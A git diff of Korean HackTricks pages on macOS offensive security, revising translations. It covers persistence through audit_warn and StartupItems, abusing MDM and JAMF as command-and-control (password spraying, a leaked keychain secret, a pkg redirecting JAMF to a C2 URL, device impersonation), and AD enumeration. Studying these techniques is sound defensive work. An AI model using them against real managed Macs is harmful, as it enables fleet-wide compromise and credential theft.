* **트리거**: auditd가 경고를 감지했을 때
|
||||
* **트리거**: auditd가 경고를 감지할 때
|
||||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
auditd가 경고를 감지하면 스크립트 **`/etc/security/audit_warn`**이 **실행**됩니다. 따라서 여기에 페이로드를 추가할 수 있습니다.
|
||||
auditd가 경고를 감지할 때 스크립트 **`/etc/security/audit_warn`**이 **실행**됩니다. 따라서 여기에 페이로드를 추가할 수 있습니다.
|
||||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
|
@ -1502,9 +1498,9 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
**StartupItem**은 `/Library/StartupItems/` 또는 `/System/Library/StartupItems/` 중 하나에 위치해야 하는 디렉토리입니다. 이 디렉토리가 설정되면 두 가지 특정 파일을 포함해야 합니다:
|
||||
|
||||
1. **rc 스크립트**: 시작할 때 실행되는 셸 스크립트입니다.
|
||||
2. 여러 구성 설정을 포함하는 **plist 파일**인 `StartupParameters.plist`이어야 합니다.
|
||||
2. **plist 파일**, 특히 `StartupParameters.plist`로 명명된 파일로 다양한 구성 설정을 포함합니다.
|
||||
|
||||
시작 프로세스가 이러한 파일을 인식하고 활용할 수 있도록 시작 항목 디렉토리 내에 rc 스크립트와 `StartupParameters.plist` 파일이 올바르게 배치되어 있는지 확인하십시오.
|
||||
시작 프로세스가 이러한 파일을 인식하고 활용할 수 있도록 **StartupItem** 디렉토리에 rc 스크립트와 `StartupParameters.plist` 파일이 올바르게 배치되어 있는지 확인하십시오.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
|
@ -1526,37 +1522,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### 슈퍼 서비스 이름
|
||||
|
||||
시스템 부팅 시 자동으로 실행되는 서비스의 이름을 변경하여 해당 서비스를 식별합니다.
|
||||
|
||||
#### 위치
|
||||
|
||||
```plaintext
|
||||
/Library/LaunchDaemons/superservicename.plist
|
||||
```
|
||||
|
||||
#### 설명
|
||||
|
||||
이 위치에는 시스템 부팅 시 자동으로 실행되는 서비스의 구성 파일이 있습니다. 이 파일을 편집하여 서비스의 이름을 변경할 수 있습니다.
|
||||
|
||||
#### 영향
|
||||
|
||||
서비스의 이름을 변경하면 해당 서비스를 식별하는 데 도움이 될 수 있습니다. 그러나 잘못된 편집은 시스템 부팅에 영향을 줄 수 있으므로 주의해야 합니다.
|
||||
|
||||
#### 탐지
|
||||
|
||||
시스템 부팅 시 자동으로 실행되는 서비스의 이름을 확인하려면 해당 위치의 파일을 확인하십시오.
|
||||
|
||||
#### 방어
|
||||
|
||||
이 위치의 파일에 대한 쓰기 권한을 최소한으로 제한하여 불필요한 변경을 방지하고, 서비스의 이름을 변경할 때는 신중히 검토해야 합니다.
|
||||
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="superservicename" %}슈퍼서비스이름{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1581,7 +1547,7 @@ RunService "$1"
|
|||
### emond
|
||||
|
||||
{% hint style="danger" %}
|
||||
나는 macOS에서 이 구성 요소를 찾을 수 없습니다. 자세한 정보는 writeup을 확인하십시오.
|
||||
내 macOS에서 이 구성 요소를 찾을 수 없습니다. 자세한 정보는 writeup을 확인하십시오.
|
||||
{% endhint %}
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
@ -1604,12 +1570,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
XQuartz는 macOS에 **더 이상 설치되지 않으므로**, 자세한 정보가 필요하면 writeup을 확인하십시오.
|
||||
XQuartz는 macOS에 **더 이상 설치되지 않습니다**, 자세한 정보가 필요하면 writeup을 확인하십시오.
|
||||
|
||||
### kext
|
||||
|
||||
{% hint style="danger" %}
|
||||
루트로 심지어 kext를 설치하는 것이 너무 복잡하여 이를 모래 상자를 탈출하거나 지속성을 위해 고려하지 않겠습니다 (exploit이 있는 경우 제외)
|
||||
루트로 심지어 kext를 설치하는 것이 너무 복잡하여 이를 모래 상자를 탈출하거나 영속성을 위해 고려하지 않겠습니다 (exploit이 있는 경우 제외)
|
||||
{% endhint %}
|
||||
|
||||
#### 위치
|
||||
|
@ -1621,7 +1587,7 @@ KEXT를 시작 항목으로 설치하려면 다음 위치 중 하나에 **설치
|
|||
* `/Library/Extensions`
|
||||
* 제3자 소프트웨어에 의해 설치된 KEXT 파일
|
||||
|
||||
현재로드된 kext 파일을 다음과 같이 나열할 수 있습니다:
|
||||
현재로드된 kext 파일을 나열할 수 있습니다.
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
|
@ -1629,7 +1595,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
|||
kextunload /path/to/kext.kext
|
||||
kextunload -b com.apple.driver.ExampleBundle
|
||||
```
|
||||
[**커널 확장에 대한 자세한 정보는 이 섹션을 확인하십시오**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
[**커널 확장에 대한 자세한 정보는 이 섹션을 확인하세요**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
|
||||
### ~~amstoold~~
|
||||
|
||||
|
@ -1642,7 +1608,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
|
|||
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
`/System/Library/LaunchAgents/com.apple.amstoold.plist`의 `plist`가이 바이너리를 사용하고 XPC 서비스를 노출했습니다... 문제는 바이너리가 존재하지 않았기 때문에 거기에 무언가를 놓을 수 있고 XPC 서비스가 호출될 때 바이너리가 호출됩니다.
|
||||
`/System/Library/LaunchAgents/com.apple.amstoold.plist`의 `plist`가이 바이너리를 사용하고 있었지만 XPC 서비스를 노출하는 동안... 문제는 바이너리가 존재하지 않았기 때문에 거기에 무언가를 놓을 수 있고 XPC 서비스가 호출될 때 바이너리가 호출될 것입니다.
|
||||
|
||||
나는 더 이상 내 macOS에서 이것을 찾을 수 없다.
|
||||
|
||||
|
@ -1770,10 +1736,10 @@ esac
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -21,7 +21,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
**관리자 자격 증명을 탈취**하여 관리 플랫폼에 액세스하면 악성 코드를 컴퓨터에 배포하여 **모든 컴퓨터를 잠재적으로 탈취**할 수 있습니다.
|
||||
|
||||
MacOS 환경에서 레드팀을 위해 MDM 작동 방식에 대한 이해가 매우 권장됩니다:
|
||||
MacOS 환경에서 레드팀을 위해 MDM이 어떻게 작동하는지 이해하는 것이 매우 권장됩니다:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -29,13 +29,13 @@ MacOS 환경에서 레드팀을 위해 MDM 작동 방식에 대한 이해가 매
|
|||
|
||||
### MDM을 C2로 사용
|
||||
|
||||
MDM은 프로필을 설치, 쿼리 또는 제거하거나 응용 프로그램을 설치, 로컬 관리자 계정을 생성, 펌웨어 암호를 설정, FileVault 키를 변경할 수 있는 권한이 있습니다.
|
||||
MDM은 프로필을 설치, 쿼리 또는 제거하거나 응용 프로그램을 설치하고 로컬 관리자 계정을 만들고 펌웨어 암호를 설정하고 FileVault 키를 변경하는 권한이 있습니다...
|
||||
|
||||
자체 MDM을 실행하려면 [**https://mdmcert.download/**](https://mdmcert.download/)에서 시도하여 얻을 수 있는 **공급 업체에 의해 서명된 CSR**가 필요합니다. 그리고 Apple 기기용 자체 MDM을 실행하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
|
||||
자체 MDM을 실행하려면 [**https://mdmcert.download/**](https://mdmcert.download/)에서 얻을 수 있는 **공급 업체에 의해 서명된 CSR**가 필요합니다. 그리고 Apple 기기용 자체 MDM을 실행하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
|
||||
|
||||
그러나 등록된 기기에 응용 프로그램을 설치하려면 여전히 개발자 계정으로 서명해야 합니다... 그러나 MDM 등록 시 **기기는 MDM의 SSL 인증서를 신뢰하는 CA로 추가**되므로 이제 모든 것을 서명할 수 있습니다.
|
||||
|
||||
MDM에 기기를 등록하려면 루트로 **`mobileconfig`** 파일을 설치해야 하며, 이는 **pkg** 파일을 통해 전달할 수 있습니다 (Safari에서 다운로드하면 압축이 풀립니다).
|
||||
기기를 MDM에 등록하려면 루트로 **`mobileconfig`** 파일을 설치해야 하며, 이 파일은 **pkg** 파일을 통해 전달될 수 있습니다 (Safari에서 다운로드하면 압축이 풀립니다).
|
||||
|
||||
**Mythic 에이전트 Orthrus**는 이 기술을 사용합니다.
|
||||
|
||||
|
@ -47,7 +47,7 @@ JAMF는 **사용자가 개발한 스크립트** (시스템 관리자가 개발
|
|||
|
||||
`https://<company-name>.jamfcloud.com/enroll/`과 같은 페이지로 이동하여 **자가 등록이 활성화되어 있는지 확인**하세요. 활성화되어 있다면 **액세스 자격 증명을 요청**할 수 있습니다.
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용하여 패스워드 spraying 공격을 수행할 수 있습니다.
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용하여 패스워드 스프레이 공격을 수행할 수 있습니다.
|
||||
|
||||
또한 적절한 자격 증명을 찾은 후 다음 양식으로 다른 사용자 이름을 브루트 포스할 수 있습니다:
|
||||
|
||||
|
@ -55,7 +55,7 @@ JAMF는 **사용자가 개발한 스크립트** (시스템 관리자가 개발
|
|||
|
||||
#### JAMF 기기 인증
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** 바이너리에는 **모두에게 공유된** 키체인을 열기 위한 비밀이 포함되어 있었으며, 그 당시에는 **`jk23ucnq91jfu9aj`**였습니다.\
|
||||
또한 jamf는 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**에 **LaunchDaemon**으로 **지속**됩니다.
|
||||
|
@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
따라서, 공격자는 악성 패키지 (`pkg`)를 드롭할 수 있으며, 이 패키지는 설치될 때 **이 파일을 덮어쓰고** JAMF를 C2로 남용할 수 있도록 **Typhon 에이전트의 Mythic C2 수신기 URL**로 설정됩니다.
|
||||
따라서, 공격자는 악성 패키지 (`pkg`)를 드롭할 수 있으며, 이 파일을 덮어쓰고 JAMF를 C2로 악용할 수 있도록 Typhon 에이전트의 Mythic C2 수신기 URL로 설정합니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -96,11 +96,11 @@ sudo jamf policy -id 0
|
|||
**장치**와 JMF 간의 **통신을 위장**하기 위해 다음이 필요합니다:
|
||||
|
||||
* **장치의 UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* 다음 위치에서 **JAMF 키체인**을 가져옵니다: `/Library/Application\ Support/Jamf/JAMF.keychain` (장치 인증서를 포함)
|
||||
* **장치 인증서**를 포함하는 **JAMF 키체인** 위치: `/Library/Application\ Support/Jamf/JAMF.keychain`
|
||||
|
||||
이 정보를 사용하여 **도난당한** 하드웨어 **UUID**로 **가짜 VM**을 만들고 **SIP를 비활성화**한 후, **JAMF 키체인을 넣어** Jamf **에이전트를 후킹**하여 정보를 도난합니다.
|
||||
이 정보를 사용하여 **도난당한** 하드웨어 **UUID**를 가진 VM을 **생성**하고 **SIP를 비활성화**한 후, **JAMF 키체인을 드롭**하고 Jamf **에이전트를 후킹**하여 정보를 도난할 수 있습니다.
|
||||
|
||||
#### 비밀 정보 도난
|
||||
#### Secrets stealing
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
|
@ -134,14 +134,14 @@ sudo jamf policy -id 0
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
`dscl`이라는 **로컬 MacOS 도구**도 도움이 될 수 있습니다:
|
||||
도움이 될 수 있는 **로컬 MacOS 도구** 중 하나는 `dscl`입니다:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
또한 MacOS용 도구들이 AD를 자동으로 열거하고 kerberos를 사용하는 방법을 연구하도록 준비되어 있습니다:
|
||||
또한 MacOS용으로 AD를 자동으로 열거하고 kerberos를 사용하는 도구들이 준비되어 있습니다:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 Bloodhound 감사 도구의 확장으로, MacOS 호스트에서 Active Directory 관계를 수집하고 흡수할 수 있도록 합니다.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 macOS에서 Heimdal krb5 API와 상호 작용하기 위해 설계된 Objective-C 프로젝트입니다. 이 프로젝트의 목표는 대상 시스템에 다른 프레임워크나 패키지를 필요로하지 않고 macOS 장치에서 Kerberos 주변의 보안 테스트를 더 잘 수행할 수 있도록 하는 것입니다.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 Objective-C 프로젝트로, macOS에서 Heimdal krb5 API와 상호 작용하도록 설계되었습니다. 이 프로젝트의 목표는 대상 시스템에 다른 프레임워크나 패키지를 필요로하지 않고, 네이티브 API를 사용하여 macOS 장치에서 Kerberos 주변의 보안 테스트를 더 잘 수행할 수 있도록 하는 것입니다.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory 열거를 수행하는 JavaScript for Automation (JXA) 도구입니다.
|
||||
|
||||
### 도메인 정보
|
||||
|
@ -152,18 +152,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
맥OS 사용자의 세 가지 유형은 다음과 같습니다:
|
||||
|
||||
- **로컬 사용자** — 로컬 OpenDirectory 서비스에서 관리되며 Active Directory와 어떤 방식으로도 연결되어 있지 않습니다.
|
||||
- **네트워크 사용자** — DC 서버에 연결하여 인증을 받아야 하는 휘발성 Active Directory 사용자입니다.
|
||||
- **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
|
||||
* **로컬 사용자** — 로컬 OpenDirectory 서비스에서 관리되며 Active Directory와는 연결되어 있지 않습니다.
|
||||
* **네트워크 사용자** — DC 서버에 인증하기 위해 연결이 필요한 휘발성 Active Directory 사용자입니다.
|
||||
* **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
|
||||
|
||||
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default_ 폴더에 저장됩니다.\
|
||||
예를 들어, _mark_라는 사용자에 대한 정보는 _/var/db/dslocal/nodes/Default/users/mark.plist_에 저장되며, _admin_ 그룹에 대한 정보는 _/var/db/dslocal/nodes/Default/groups/admin.plist_에 저장됩니다.
|
||||
|
||||
HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가**합니다:
|
||||
|
||||
- **CanSSH** - 호스트로 SSH 연결을 허용하는 엔티티
|
||||
- **CanVNC** - 호스트로 VNC 연결을 허용하는 엔티티
|
||||
- **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티
|
||||
* **CanSSH** - 호스트에 SSH 연결을 허용하는 엔티티
|
||||
* **CanVNC** - 호스트에 VNC 연결을 허용하는 엔티티
|
||||
* **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 히어로까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 홍보**하고 싶으신가요? 아니면 **PEASS의 최신 버전을 확인하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS 및 HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 홍보**하고 싶으신가요? 아니면 **PEASS의 최신 버전을 보거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS 및 HackTricks 스왹**](https://peass.creator-spring.com)을 획득하세요
|
||||
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **그룹에 가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacktricks 레포**에 PR을 보내어 **해킹 요령을 공유**하세요 [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud)와 함께.
|
||||
* **Hacktricks 저장소**([**hacktricks repo**](https://github.com/carlospolop/hacktricks)) 및 **Hacktricks 클라우드 저장소**([**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud))로 **PR을 보내** 헤킹 팁을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -25,8 +25,8 @@
|
|||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 커널 확장자는 **커널 코드 서명 인증서로 서명**되어야 하며, 이는 **Apple에서만 부여**할 수 있습니다. 회사와 필요한 이유를 자세히 검토할 것입니다.
|
||||
* 커널 확장자는 **노타라이즈(notarized)**도 되어야 하며, Apple이 악성 코드를 확인할 수 있습니다.
|
||||
* 그런 다음, **루트** 사용자가 커널 확장자를 **로드**할 수 있으며, 패키지 내의 파일은 **루트에 속해** 있어야 합니다.
|
||||
* 커널 확장자는 **노타라이즈드**되어야 하며, Apple은 악성 코드를 확인할 수 있습니다.
|
||||
* 그런 다음, **루트** 사용자가 커널 확장자를 **로드**할 수 있으며 패키지 내의 파일은 **루트에 속해** 있어야 합니다.
|
||||
* 업로드 프로세스 중에 패키지는 **보호된 비루트 위치**인 `/Library/StagedExtensions`에 준비되어야 합니다(`com.apple.rootless.storage.KernelExtensionManagement` 권한 필요).
|
||||
* 마지막으로, 로드를 시도할 때 사용자는 [**확인 요청을 받게**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) 되며, 수락하면 컴퓨터를 **재부팅**하여 로드해야 합니다.
|
||||
|
||||
|
@ -35,7 +35,7 @@
|
|||
Catalina에서는 다음과 같았습니다: **검증** 프로세스가 **사용자 영역**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만 **커널에 확장자를 로드 요청**할 수 있습니다: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli는 확장자를 로드하기 위한 **검증** 프로세스를 **시작**합니다
|
||||
* **`kextd`**에게 **Mach 서비스**를 사용하여 메시지를 보냅니다.
|
||||
* **Mach 서비스**를 사용하여 **`kextd`**에게 메시지를 보냅니다.
|
||||
2. **`kextd`**는 **서명**과 같은 여러 가지를 확인합니다.
|
||||
* **`syspolicyd`**에게 확장자를 **로드할 수 있는지 확인**하도록 요청합니다.
|
||||
3. **`syspolicyd`**는 확장자가 이전에 로드되지 않았다면 **사용자에게 프롬프트**를 표시합니다.
|
||||
|
@ -51,12 +51,12 @@ Catalina에서는 다음과 같았습니다: **검증** 프로세스가 **사용
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 히어로까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 홍보**하고 싶으신가요? 아니면 **PEASS의 최신 버전을 확인하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS 및 HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 홍보**하고 싶으신가요? 아니면 **PEASS의 최신 버전을 보거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS 및 HackTricks 스왹**](https://peass.creator-spring.com)을 획득하세요
|
||||
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **그룹에 가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacktricks 레포**에 PR을 보내어 **해킹 요령을 공유**하세요 [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud)와 함께.
|
||||
* **Hacktricks 저장소**([**hacktricks repo**](https://github.com/carlospolop/hacktricks)) 및 **Hacktricks 클라우드 저장소**([**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud))로 **PR을 보내** 헤킹 팁을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
다른 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -20,15 +20,15 @@ Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩
|
|||
|
||||
이러한 이진 파일은 기본적으로 **Mach-O 구조**를 따릅니다. 이 구조는 다음과 같이 구성됩니다:
|
||||
|
||||
- 헤더(Header)
|
||||
- 로드 명령(Load Commands)
|
||||
- 데이터(Data)
|
||||
- 헤더
|
||||
- 로드 명령
|
||||
- 데이터
|
||||
|
||||
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## Fat Header
|
||||
|
||||
다음 명령어로 파일을 검색합니다: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
다음 명령을 사용하여 파일을 검색합니다: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
|
||||
<pre class="language-c"><code class="lang-c"><strong>#define FAT_MAGIC 0xcafebabe
|
||||
</strong><strong>#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */
|
||||
|
@ -47,9 +47,9 @@ uint32_t align; /* alignment as a power of 2 */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
